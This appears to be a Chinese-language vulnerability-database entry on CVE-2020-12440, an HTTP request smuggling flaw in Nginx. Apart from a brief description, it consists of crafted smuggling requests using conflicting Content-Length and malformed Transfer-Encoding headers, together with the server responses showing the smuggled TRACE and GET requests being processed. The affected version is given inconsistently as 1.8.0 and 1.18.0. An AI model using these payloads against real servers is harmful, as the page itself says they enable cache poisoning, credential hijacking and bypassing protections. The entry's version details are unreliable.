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（CVE-2020-12440）Nginx \<= 1.8.0 请求走私

一、漏洞简介

Nginx 1.18.0及之前版本中存在安全漏洞。攻击者可利用该漏洞进行缓存投毒，劫持凭证或绕过安全保护。

二、漏洞影响

Nginx \<= 1.8.0

三、复现过程

1589967192.jpg

Request

GET /test.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 2

GET /poc.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 15

Response

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 33
Last-Modified: Thu, 30 Apr 2020 14:36:32 GMT
Connection: keep-alive
ETag: "5eaae270-21"
Accept-Ranges: bytes

<html><h1>Test Page!</h1></html>
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 15
Last-Modified: Thu, 30 Apr 2020 14:35:41 GMT
Connection: keep-alive
ETag: "5eaae23d-f"
Accept-Ranges: bytes

NGINX PoC File

其他例子

Request（200 OK + 405 Method Not Allowed）

GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked


46
TRACE / HTTP/1.1
Host:www.0-sec.org
Content-Length:15


kk
0s

Response（200 OK + 405 Method Not Allowed）

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br />
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
HTTP/1.1 405 Not Allowed
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 157
Connection: close


<html>
<head><title>405 Not Allowed</title></head>
<body>
<center><h1>405 Not Allowed</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>

Request（200 OK + 404 Not Found）

GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked

46
GET /404 HTTP/1.1
Host:www.0-sec.org
Content-Length:15

kk
0s

Response（200 OK + 404 Not Found）

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br />
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
HTTP/1.1 404 Not Found
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive


<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>